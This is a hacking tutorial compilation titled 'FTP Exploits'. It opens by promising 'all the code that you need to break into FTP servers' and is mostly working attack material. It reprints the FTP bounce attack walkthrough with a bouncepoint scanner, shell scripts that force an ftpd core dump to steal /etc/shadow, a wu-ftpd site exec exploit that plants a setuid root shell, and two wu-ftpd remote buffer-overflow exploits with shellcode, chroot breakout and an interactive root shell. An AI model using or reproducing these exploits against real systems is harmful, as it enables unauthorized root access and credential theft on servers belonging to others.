FTP Exploits By Ankit Fadia ankit@bol.net.in
BSRF = http://blacksun.box.sk/

After the lovely response that I got once the Sendmail Holes Manual was released, I decided to also release a similar one on FTP Exploits.I have got all the code that you need to break into FTP servers, but again I am assuming that you know how to program and have some idea as to how to put this code to use.

Exploit List

The FTP BOUNCE Exploit
Local FTP exploit for SunOS 5.x, exposes /etc/shadow
Wu-ftpd 2.4(1) site exec local root exploit
Wu-ftpd v2.4.2-beta18 mkdir remote exploit for RedHat Linux
Wu-2.4.2-academ[BETA-18](1) wu-ftpd remote exploit for RedHat Linux 5.2
Another local FTP exploit for SunOS 5.x, exposes /etc/shadow

The FTP BOUNCE Exploit

Date: Wed, 12 Jul 1995 02:20:20 -0400
Subject: The FTP Bounce Attack
To: Multiple recipients of list BUGTRAQ
<BUGTRAQ@CRIMELAB.COM>

This discusses one of many possible uses of the "FTP server bounce attack".
The mechanism used is probably well-known, but to date interest in detailing or fixing it seems low to nonexistent. This particular example demonstrates yet another way in which most electronically enforced "export restrictions" are completely useless and trivial to bypass. It is chosen in an effort to make the reader sit up and notice that there are some really ill-conceived aspects of the standard FTP protocol.

Thanks also to Alain Knaff at imag.fr for a brief but entertaining discussion of some of these issues a couple of months ago which got me thinking more deeply about them.

The motive
==========

You are a user on foreign.fr, IP address F.F.F.F, and want to retrieve cryptographic source code from crypto.com in the US. The FTP server at crypto.com is set up to allow your connection, but deny access to the crypto sources because your source IP address is that of a non-US site [as near as

their FTP server can determine from the DNS, that is]. In any case, you
cannot directly retrieve what you want from crypto.com's server.

However, crypto.com will allow ufred.edu to download crypto sources because
ufred.edu is in the US too. You happen to know that /incoming on ufred.edu
is a world-writeable directory that any anonymous user can drop files into and
read them back from. Crypto.com's IP address is C.C.C.C.

The attack
==========

This assumes you have an FTP server that does passive mode. Open an FTP
connection to your own machine's real IP address [not localhost] and log in.
Change to a convenient directory that you have write access to, and then do:

quote "pasv"
quote "stor foobar"

Take note of the address and port that are returned from the PASV command,
F,F,F,F,X,X. This FTP session will now hang, so background it or flip to
another window or something to proceed with the rest of this.

Construct a file containing FTP server commands. Let's call this file
"instrs". It will look like this:

user ftp
pass -anonymous@
cwd /export-restricted-crypto
type i
port F,F,F,F,X,X
retr crypto.tar.Z
quit
^@ ... ^@^@^@^@
^@ ... ^@^@^@^@
...

F,F,F,F,X,X is the same address and port that your own machine handed you
on the first connection. The trash at the end is extra lines you create,
each containing 250 NULLS and nothing else, enough to fill up about 60K of
extra data. The reason for this filler is explained later.

Open an FTP connection to ufred.edu, log in anonymously, and cd to
/incoming.
Now type the following into this FTP session, which transfers a copy of your
"instrs" file over and then tells ufred.edu's FTP server to connect to

crypto.com's FTP server using your file as the commands:

put instrs
quote "port C,C,C,C,0,21"
quote "retr instrs"

Crypto.tar.Z should now show up as "foobar" on your machine via your first FTP
connection. If the connection to ufred.edu didn't die by itself due to an
apparently common server bug, clean up by deleting "instrs" and exiting.
Otherwise you'll have to reconnect to finish.

Discussion
==========

There are several variants of this. Your PASV listener connection can be
opened on any machine that you have file write access to -- your own, another
connection to ufred.edu, or somewhere completely unrelated. In fact, it does
not even have to be an FTP server -- any utility that will listen on a known
TCP port and read raw data from it into a file will do. A passive-mode FTP
data connection is simply a convenient way to do this.

The extra nulls at the end of the command file are to fill up the TCP windows
on either end of the ufred -> crypto connection, and ensure that the command
connection stays open long enough for the whole session to be executed.
Otherwise, most FTP servers tend to abort all transfers and command processing
when the control connection closes prematurely. The size of the data is enough
to fill both the receive and transmit windows, which on some OSes are quite
large [on the order of 30K]. You can trim this down if you know what OSes
are on either end and the sum of their default TCP window sizes. It is split
into lines of 250 characters to avoid overrunning command buffers on the target
server -- probably academic since you told the server to quit already.

If crypto.com disallows *any* FTP client connection from you at foreign.fr and
you need to see what files are where, you can always put "list -aR" in your
command file and get a directory listing of the entire tree via ufred.

You may have to retrieve your command file to the target's FTP server in ASCII
mode rather than binary mode. Some FTP servers can deal with raw newlines, but

others may need command lines terminated by CRLF pairs. Keep this in mind when
retrieving files to daemons other than FTP servers, as well.

Other possbilities
==========

Despite the fact that such third-party connections are one-way only, they
can be used for all kinds of things. Similar methods can be used to post
virtually untraceable mail and news, hammer on servers at various sites, fill
up disks, try to hop firewalls, and generally be annoying and hard to track
down at the same time. A little thought will bring realization of numerous
other scary possibilities.

Connections launched this way come from source port 20, which some sites allow
through their firewalls in an effort to deal with the "ftp-data" problem. For
some purposes, this can be the next best thing to source-routed attacks, and is
likely to succeed where source routing fails against packet filters. And it's
all made possible by the way the FTP protocol spec was written, allowing
control connections to come from anywhere and data connections to go anywhere.

Defenses
========

There will always be sites on the net with creaky old FTP servers and
writeable directories that allow this sort of traffic, so saying "fix all
the FTP servers" is the wrong answer. But you can protect your own against
both being a third-party bouncepoint and having another one used against you.

The first obvious thing to do is allow an FTP server to only make data
connections to the same host that the control connection originated from.
This does not prevent the above attack, of course, since the PASV listener
could just as easily be on ufred.edu and thus meet that requirement, but
it does prevent *your* site from being a potential bouncepoint. It also
breaks the concept of "proxy FTP", but hidden somewhere in this paragraph
is a very tiny violin.

The next obvious thing is to prohibit FTP control connections that come from

reserved ports, or at least port 20. This prevents the above scenario as
stated.

Both of these things, plus the usual poop about blocking source-routed packets
and other avenues of spoofery, are necessary to prevent hacks of this sort.
And think about whether or not you really need an open "incoming" directory.

Only allowing passive-mode client data connections is another possibility,
but there are still too many FTP clients in use that aren't passive-aware.

"A loose consensus and running code"
==========

There is some existing work addressing this available here at avian.org [and
has been for several months, I might add] in the "fixkits archive". Several
mods to wu-ftpd-2.4 are presented, which includes code to prevent and log
attempts to use bogus PORT commands. Recent security fixes from elsewhere are
also included, along with s/key support and various compile-time options to
beef up security for specific applications.

Stan Barber at academ.com is working on merging these and several other fixes
into a true updated wu-ftpd release. There are a couple of other divergent
efforts going on. Nowhere is it claimed that any of this work is complete yet,
but it is a start toward something I have had in mind for a while -- a
network-wide release of wu-ftpd-2.5, with contributions from around the net.
The wu-ftpd server has become very popular, but is in sad need of yet another
security upgrade. It would be nice to pull all the improvements together into
one coordinated place, and it looks like it will happen. All of this still
won't help people who insist on running vendor-supplied servers, of course.

Sanity-checking the client connection's source port is not implemented
specifically in the FTP server fixes, but in modifications to Wietse's
tcp-wrappers package since this problem is more general. A simple PORT option
is added that denies connections from configurable ranges of source ports at
the tcpd stage, before a called daemon is executed.

Some of this is pointed to by /src/fixkits/README in the anonymous FTP

area here. Read this roadmap before grabbing other things.

Notes
=====

Adding the nulls at the end of the command file was the key to making this
work against a variety of daemons. Simply sending the desired data would
usually fail due to the immediate close signaling the daemon to bail out.

If WUSTL has not given up entirely on the whole wu-ftpd project, they are
keeping very quiet about further work. Bryan O'Connor appears to have many
other projects to attend to by now...

This is a trivial script to find world-writeable and ftp-owned directories and
files on a unix-based anonymous FTP server. You'd be surprised how many of
those writeable "bouncepoints" pop out after a short run of something like
this. You will have to later check that you can both PUT and GET files from
such places; some servers protect uploaded files against reading. Many do not,
and then wonder why they are among this week's top ten warez sites...

```
#!/bin/sh
ftp -n $1 << FOE
quote "user ftp"
quote "pass -nobody@"
prompt
cd /
dir "-aR" xxx.$$
bye
FOE
# Not smart enough to figure out ftp's numeric UID if no passwd file!
cat -v xxx.$$ | awk '
BEGIN { idir = "/" ; dirp = 0 }
/.:$/ { idir = $0 ; dirp = 1 ; }
/^[-d][-r](......w.|........ *[0-9]* ftp *)/ {
if (dirp == 1) print idir
dirp = 0
print $0
} '
rm xxx.$$
```

Local FTP exploit for SunOS 5.x, exposes /etc/shadow

```
#!/bin/sh
#
# http://www.anticode.com for the latest exploits, tools and documents!
#
# Exploit to get (at least most of) the /etc/shadow file in SunOS 5.5x.
```

```
# ftp coredumps and makes a core file in /tmp which contains the /etc/shadow
# file. Then grep takes out the shadow file and puts it in the file
# you specify (if you don't specify a dir it'll be in /tmp).
# To Use:
# sh ftpass.sh [your username] [your passwd] [output file]
# ftpass.sh starts ftp and logs in as you and then tries to login as root,
# using the wrong passwd and attempts to use pasv mode. This creates the
# coredump file where /etc/shadow is.
# You can ignore the error messages.
# ************************************************************************
# Coded by TheCa
# ************************************************************************

if [$1 = ""]; then
echo 'No you idiot! Didn't you read the file?'
echo 'type: sh ftpass.sh [user] [passwd] [output file]'
exit
fi
(echo; echo user $1 $2; echo cd /tmp; echo user root heha; echo quote pasv) |
ftp -n 127.0.0.1
cd /tmp
grep '::' core > $3
```

Wu-ftpd 2.4(1) site exec local root exploit

```
/* http://www.anticode.com for the latest exploits, tools and documents! */

/*
Explot wu-ftp 2.x (site exec bug)

You need to have an account on the system running wu-ftpd

Compile this program in yer dir:
cc -o ftpbug ftpbug.c

Login to the system:

220 exploitablesys FTP server (Version wu-2.4(1) Sun Jul 31 21:15:56 CDT 1994)
ready.
Name (exploitablesys:root): goodaccount
331 Password required for goodaccount.
Password: (password)
230 User goodaccount logged in.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> quote "site exec bash -c id" (see if sys is exploitable)
200-bash -c id
200-uid=0(root) gid=0(root) euid=505(statik) egid=100(users) groups=100(users)
200 (end of 'bash -c id')
ftp> quote "site exec bash -c /yer/home/dir/ftpbug"
200-bash -c /yer/home/dir/ftpbug
200 (end of 'bash -c /yer/home/dir/ftpbug')
ftp> quit
221 Goodbye.

Now you have a suid root shell in /tmp/.sh
Have fun
```

```
StaTiC (statik@free.org)
*/


#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

main()
{
seteuid(0);
system("cp /bin/sh /tmp/.sh");
system("chmod 6777 /tmp/.sh");
system("chown root /tmp/.sh");
system("chmod 4755 /tmp/.sh");
system("chmod +s /tmp/.sh");
}
```

Wu-ftpd v2.4.2-beta18 mkdir remote exploit for RedHat Linux

```
/* http://www.anticode.com for the latest exploits, tools and documents! */

/*

wu-ftpd mkdir v2.4.2-beta18 remote rewt spl01t v1.20 ( linux x86 )
by joey__ <youcan_reachme@hotmail.com> of rhino9
<http://www.rhino9.com> - 2/20/99

big thx horizon, duke, nimrood and icee
sh0utz neonsurge, xaphan, joc, sri, aalawaka, and aakanksha

USAGE:

./wh0a [ initialdir ] [ <username> <password> ] [ <offset> <code
address> ] ; cat ) | nc <victimname> <victimport>

*/

#include <stdio.h>

char x86_shellcode0[156] =

"\x83\xec\x04" /* sub esp,4 */
/* esi -> local variables and data */
"\x5e" /* pop esi */
"\x83\xc6\x70" /* add esi,0x70 */
"\x83\xc6\x20" /* add esi,0x20 */


"\x8d\x5e\x0c" /* lea ebx,[esi+0x0c] */
/* decode the strings */
"\x31\xc9" /* xor ecx, ecx */
"\xb1\x30" /* mov cl,0x30 */
"\x80\x2b\x32" /* sub byte ptr [ebx],0x32 */
"\x43" /* inc ebx */
"\x49" /* dec ecx */
"\x75\xf9" /* jnz short decode_next_byte */
```

```
"\x31\xc0" /* xor eax,eax */
/* setuid ( 0 ) */
"\x89\xc3" /* mov ebx,eax */
"\xb0\x17" /* mov al,0x17 */
"\xcd\x80" /* int 0x80 */

"\x31\xc0" /* xor eax,eax */
/* setgid ( 0 ) */
"\x89\xc3" /* mov ebx,eax */
"\xb0\x2e" /* mov al,0x2e */
"\xcd\x80" /* int 0x80 */

/* To break chroot we have to...

fd = open ( ".", O_RDONLY );
mkdir ( "hax0r", 0666 );
chroot ( "hax0r" );
fchdir ( fd );
for ( i = 0; i < 254; i++ )
chdir ( ".." );
chroot ( "." );

*/

"\x31\xc0" /* xor eax,eax */
/* var0 = open ( ".", O_RDONLY ) */
"\x31\xc9" /* xor ecx,ecx */
"\x8d\x5e\x0f" /* lea ebx,[esi+0x0f] */
"\xb0\x05" /* mov al,0x05 */
"\xcd\x80" /* int 0x80 */
"\x89\x06" /* mov [esi],eax */

"\x31\xc0" /* xor eax,eax */
/* mkdir ( "hax0r", 0666 ) */
"\x8d\x5e\x11" /* lea ebx,[esi+0x11] */
"\x8b\x4e\x1f" /* mov ecx,[esi+0x1f] */
"\xb0\x27" /* mov al,0x27 */
"\xcd\x80" /* int 0x80 */

"\x31\xc0" /* xor eax,eax */
/* chroot ( "hax0r" ) */
"\x8d\x5e\x11" /* lea ebx,[esi+0x11] */
"\xb0\x3d" /* mov al,0x3d */
"\xcd\x80" /* int 0x80 */

"\x31\xc0" /* xor eax,eax */
/* fchdir ( fd ) */
"\x8b\x1e" /* mov ebx,[esi] */
"\xb0\x85" /* mov al,0x85 */
"\xcd\x80" /* int 0x80 */

"\x31\xc9" /* xor ecx, ecx */
/* for ( i = 0; i < 254; i++ ) { */
"\xb1\xfe" /* mov cl,0xfe */

"\x31\xc0" /* xor eax,eax */
/* chdir ( ".." ) */
"\x8d\x5e\x0c" /* lea ebx,[esi+0x0c] */
```

```
"\xb0\x0c" /* mov al,0x0c */
"\xcd\x80" /* int 0x80 */

"\x49" /* dec ecx */
/* } */
"\x75\xf4" /* jnz short goto_parent_dir */

"\x31\xc0" /* xor eax,eax */
/* chroot ( "." ) */
"\x8d\x5e\x0f" /* lea ebx,[esi+0x0f] */
"\xb0\x3d" /* mov al,0x3d */
"\xcd\x80" /* int 0x80 */

"\x31\xc0" /* xor eax,eax */
/* execve ( "/bin/sh", "xxxxx", NULL ) */
"\x8d\x5e\x17" /* lea ebx,[esi+0x17] */
"\x8d\x4e\x04" /* lea ecx,[esi+0x04] */
"\x8d\x56\x08" /* lea edx,[esi+0x08] */
"\x89\x19" /* mov [ecx],ebx */
"\x89\x02" /* mov [edx],eax */
"\xb0\x0b" /* mov al, 0x0b */
"\xcd\x80" /* int 0x80 */

"\x31\xdb" /* xor ebx,ebx */
/* exit ( 0 ) */
"\x89\xd8" /* mov eax,ebx */
"\x40" /* inc eax */
"\xcd\x80" /* int 0x80 */

"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"
"\x90"

"var0"
/* local variable integer */
"cmd0"
/* char *cmd[2] */
"cmd1";



char x86_shellcode1[1024] =
".."
"\x00"
"."
"\x00"
"hax0r"
"\x00"
"/bin/sh"
"\x00"
```

```
"\xb6\x01\x00\x00";



char vardir[300];
int varlen;



main ( int argc, char **argv )
{

char *username, *password, *initialdir;
int bufoffset, codeaddr, i, j, *pcodeaddr;

if ( argc > 1 )
initialdir = argv[1];
else initialdir = "/incoming";

if ( argc > 3 )
{
username = argv[2];
password = argv[3];
}
else
{
username = "anonymous";
password = "poon@ni.com";
}

if ( argc > 5 )
{
bufoffset = atoi ( argv[4] );
codeaddr = atoi ( argv[5] );
}
else
{
bufoffset = 195;
codeaddr = 0x0805ac81;
}

printf ( "user %s\n", username );

printf ( "pass %s\n", password );

printf ( "cwd %s\n", initialdir );

varlen = bufoffset - strlen ( initialdir );
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );

varlen = 210;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
```

```
printf ( "cwd %s\n", vardir );

varlen = 210;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );

varlen = 170;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';
vardir[varlen] = 0;
printf ( "mkd %s\n", vardir );
printf ( "cwd %s\n", vardir );

varlen = 250;
for ( i = 0; i < varlen; i++ )
vardir[i] = 'x';

for ( i = 0; i < sizeof ( x86_shellcode0 ); i++ )
vardir[i] = x86_shellcode0[i];
j = 0;
for ( i = sizeof ( x86_shellcode0 ); j < 32; i++ )
{
vardir[i] = ( char ) ( x86_shellcode1[j++] + 0x32 );
}

pcodeaddr = ( int * ) &( vardir[varlen] );
*pcodeaddr = codeaddr;
vardir[varlen+4] = 0;

printf ( "mkd %s\n", vardir );

}
```

Wu-2.4.2-academ[BETA-18](1) wu-ftpd remote exploit for RedHat Linux 5.2

```
/* http://www.anticode.com for the latest exploits, tools and documents! */

/*
THIS IS PRIVATE! DO NOT DISTRIBUTE!!!! PRIVATE!

WU-FTPD REMOTE EXPLOIT Version wu-2.4.2-academ[BETA-18](1)
for linux x86 (redhat 5.2)

by duke
duke@viper.net.au

BIG thanks to stran9er for alot of help with part of the shellcode!
i fear stran9er, but who doesn't? !@$ :)

Greets to: #!ADM, el8.org users,

To exploit this remotely they need to have a directory you can
have write privlidges to.. this is the <dir> argument.. you can
also use this locally by specifying -l <ur login> -p <urpass> with the
<dir> = your home directory or something..(must begin with '/')
```

```
also alignment arg is how return address is aligned.. shouldnt need it,
but if u do it should be between 0 and 3

It takes about 10 seconds after "logged in" so be patient.
-duke
*/

#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
//#include <linux/time.h>
//#include <sys/select.h>
#include <sys/time.h>
#include <unistd.h>

#define RET 0xbfffa80f

void logintoftp();
void sh();
void mkd(char *);
int max(int, int);
long getip(char *name);

char shellcode[] =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31\xc0\xb0\x17\xcd\x80"
"\x31\xc0\x31\xdb\xb0\x2e\xcd\x80"
"\xeb\x4f\x31\xc0\x31\xc9\x5e\xb0\x27\x8d\x5e\x05\xfe\xc5\xb1\xed"
"\xcd\x80\x31\xc0\x8d\x5e\x05\xb0\x3d\xcd\x80\x31\xc0\xbb\xd2\xd1"
"\xd0\xff\xf7\xdb\x31\xc9\xb1\x10\x56\x01\xce\x89\x1e\x83\xc6\x03"
"\xe0\xf9\x5e\xb0\x3d\x8d\x5e\x10\xcd\x80\x31\xc0\x88\x46\x07\x89"
"\x76\x08\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd"
"\x80\xe8\xac\xff\xff\xff";

char tmp[256];
char name[128], pass[128];

int sockfd;

int main(int argc, char **argv)
{
char sendln[1024], recvln[4048], buf1[800], buf2[1000];
char *p, *q, arg, **fakeargv = (char **) malloc(sizeof(char *)*(argc +
1));
int len, offset = 0, i, align=0;
struct sockaddr_in cli;

if(argc < 3){
printf("usage: %s <host> <dir> [-l name] [-p pass] [-a
<alignment>] [-o offset]\n", argv[0]);
exit(0);
}

for(i=0; i < argc; i++) {
fakeargv[i] = (char *)malloc(strlen(argv[i]) + 1);
strncpy(fakeargv[i], argv[i], strlen(argv[i]) + 1);
```

```
}

fakeargv[argc] = NULL;


while((arg = getopt(argc,fakeargv,"l:p:a:o:")) != EOF){
switch(arg) {
case 'l':
strncpy(name,optarg,128);
break;
case 'p':
strncpy(pass,optarg,128);
break;
case 'a':
align=atoi(optarg);
break;
case 'o':
offset=atoi(optarg);
break;
default:
printf("usage: %s <host> <dir> [-l name] [-p pass] [-a
<alignment>] [-o offset]\n", argv[0]);
exit(0);
break;
}
}

if(name[0] == 0) strcpy(name, "anonymous");
if(pass[0] == 0) strcpy(pass, "hi@blahblah.net");


bzero(&cli, sizeof(cli));
bzero(recvln, sizeof(recvln));
bzero(sendln, sizeof(sendln));
cli.sin_family = AF_INET;
cli.sin_port = htons(21);
cli.sin_addr.s_addr=getip(argv[1]);

if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket");
exit(0);
}

if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0){
perror("connect");
exit(0);
}
while((len = read(sockfd, recvln, sizeof(recvln))) > 0){
recvln[len] = '\0';
if(strchr(recvln, '\n') != NULL)
break;
}
logintoftp(sockfd);
printf("logged in.\n");
bzero(sendln, sizeof(sendln));

for(i=align; i<996; i+=4)
*(long *)&buf2[i] = RET + offset;
```

```
memcpy(buf2, "a", align);
memset(buf1, 0x90, 800);
memcpy(buf1, argv[2], strlen(argv[2]));
mkd(argv[2]);
p = &buf1[strlen(argv[2])];
q = &buf1[799];
*q = '\x0';
while(p <= q){
strncpy(tmp, p, 200);
mkd(tmp);
p+=200;
}
mkd(shellcode);
mkd("bin");
mkd("sh");
p = &buf2[0];
q = &buf2[999];
while(p <= q){
strncpy(tmp, p, 250);
mkd(tmp);
p+=250;
}
sh(sockfd);


close(sockfd);
printf("finit.\n");
}

void mkd(char *dir)
{
char snd[512], rcv[1024];
char blah[1024], *p;
int n;
struct timeval tv;

fd_set fds;
bzero(&tv, sizeof(tv));
tv.tv_usec=50;
bzero(blah, sizeof(blah));
p = blah;
for(n=0; n<strlen(dir); n++){
if(dir[n] == '\xff'){
*p = '\xff';
p++;
}
*p = dir[n];
p++;
}
sprintf(snd, "MKD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(snd, sizeof(snd));
sprintf(snd, "CWD %s\r\n", blah);
write(sockfd, snd, strlen(snd));
bzero(rcv, sizeof(rcv));

FD_ZERO(&fds);
FD_SET(sockfd,&fds);
```

```
select(sockfd+1,&fds,NULL,NULL,&tv);

if (FD_ISSET(sockfd,&fds))
while((n = read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}

void logintoftp()
{
char snd[1024], rcv[1024];
int n;

printf("logging in with %s: %s\n", name, pass);
memset(snd, '\0', 1024);
sprintf(snd, "USER %s\r\n", name);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}

memset(snd, '\0', 1024);
sprintf(snd, "PASS %s\r\n", pass);
write(sockfd, snd, strlen(snd));

while((n=read(sockfd, rcv, sizeof(rcv))) > 0){
rcv[n] = 0;
if(strchr(rcv, '\n') != NULL)
break;
}
return;
}

void sh()
{
char snd[1024], rcv[1024];
fd_set rset;
int maxfd, n;

strcpy(snd, "cd /; uname -a; pwd; id;\n");
write(sockfd, snd, strlen(snd));

for(;;){
FD_SET(fileno(stdin), &rset);
FD_SET(sockfd, &rset);
maxfd = max(fileno(stdin), sockfd) + 1;
select(maxfd, &rset, NULL, NULL, NULL);
if(FD_ISSET(fileno(stdin), &rset)){
bzero(snd, sizeof(snd));
fgets(snd, sizeof(snd)-2, stdin);
write(sockfd, snd, strlen(snd));
}
```

```
if(FD_ISSET(sockfd, &rset)){
bzero(rcv, sizeof(rcv));
if((n = read(sockfd, rcv, sizeof(rcv))) == 0){
printf("EOF.\n");
exit(0);
}
if(n < 0){
perror("read");
exit(-1);
}
fputs(rcv, stdout);
}
}
}

int max(int x, int y)
{
if(x > y)
return(x);
return(y);
}

long getip(char *name)
{
struct hostent *hp;
long ip;

if ((ip=inet_addr(name))==-1)
{
if ((hp=gethostbyname(name))==NULL)
{
fprintf(stderr,"Can't resolve host.\n");
exit (1);
}
memcpy(&ip, (hp->h_addr), 4);
}
return ip;
}
```

Another local FTP exploit for SunOS 5.x, exposes /etc/shadow

```
#!/bin/sh
#
# exploit a bug in wu-ftpd to assemble & view the shadow passwd file
#
# Tested under Solaris 2.5
#
# James Abendschan jwa@nbs.nau.edu 16 Oct 1996
#

USER=`whoami`
/usr/ucb/echo -n "Enter your password for localhost: "
read PASS

WDIR=/tmp/wu-ftpd-sploit.$USER
rm -rf $WDIR
```

```
mkdir $WDIR
TMP=$WDIR/strings.tmp

ftp -n localhost << _EOF_
quote user $USER
quote pass $PASS
cd $WDIR
user root woot
quote pasv
_EOF_

if [ ! -f $WDIR/core ]
then
echo "Sorry, your ftpd didn't dump core."
exit 1
fi

strings $WDIR/core > $WDIR/tmp

# try to assemble as much of the shadow passwd file as possible
# (easier in perl)

for user in `cat /etc/passwd | awk -F":" '{print $1}'`
do
line=`grep \^${user}: $WDIR/tmp`
echo $line
done

rm -f $TMP
```

Complied By Ankit Fadia
ankit@bol.net.in

Visit my Site to view all tutorials written by me at:
http://www.crosswinds.net/~hackingtruths